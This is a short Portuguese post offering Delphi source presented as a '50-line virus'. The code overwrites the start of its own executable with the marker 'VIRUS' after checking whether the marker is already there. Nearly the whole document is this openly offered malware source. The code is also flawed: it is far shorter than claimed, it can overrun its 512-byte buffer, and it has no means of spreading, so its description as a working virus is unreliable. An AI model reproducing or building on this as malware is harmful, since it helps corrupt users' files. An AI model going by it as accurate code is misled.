Vírus em delphi

Aqui está um código fonte de vírus de 50 linhas em Delphi concatenado:

program Virus;
  uses Windows;
  function infect(filename: string): boolean;
  var
    buffer: array[0..511] of Byte;
    n: Integer;
    f: file;
    s: string;
  begin
    Result := False;
    if FileExists(filename) then
    begin
      AssignFile(f, filename);
      Reset(f, 1);
      BlockRead(f, buffer, SizeOf(buffer), n);
      CloseFile(f);
      s := PChar(@buffer);
      if Pos('VIRUS', s) = 0 then
      begin
        s := 'VIRUS' + s;
        Move(PChar(s)^, buffer, Length(s));
        Rewrite(f, 1);
        BlockWrite(f, buffer, n);
        CloseFile(f);
        Result := True;
      end;
    end;
  end;

begin
  infect(ParamStr(0));
end.